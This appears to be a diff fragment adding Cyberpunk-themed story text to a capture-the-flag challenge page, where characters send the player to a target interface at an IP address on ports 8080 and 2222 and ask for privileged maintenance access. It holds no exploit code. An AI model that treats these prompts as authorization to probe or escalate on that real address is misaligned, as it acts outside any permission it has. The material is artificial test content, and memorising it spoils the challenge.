+We discoved a Netrunner who hack neural implants to create false memories. We spotted the target's interface on the Net at this address: <br>
+<span class="netrunner-orange">http://149.202.58.152:8080</span> <br> <br>
+Find out who he is and a way to stop him.</p>
+
+
+
+<p class="netrunner" ><span class="netrunner-bold">Nice V! I owe you one!</span> <br> <br>
+But before we go to visit him, I would like to have a means of pressure.
+Here is his maintenance access: <br>
+<span class="netrunner-orange">http://149.202.58.152:2222</span> <br> <br>
+See what you can do and let me know.</p>
+
+
+<p class="netrunner" ><span class="netrunner-bold">You doing great!</span> <br> <br>
+But this access is not enough. See if you can get privileged access, the same used by Zetatech technician for maintenance.<br><br>
+It will allow us to unplug it in case of a glitch.</p>
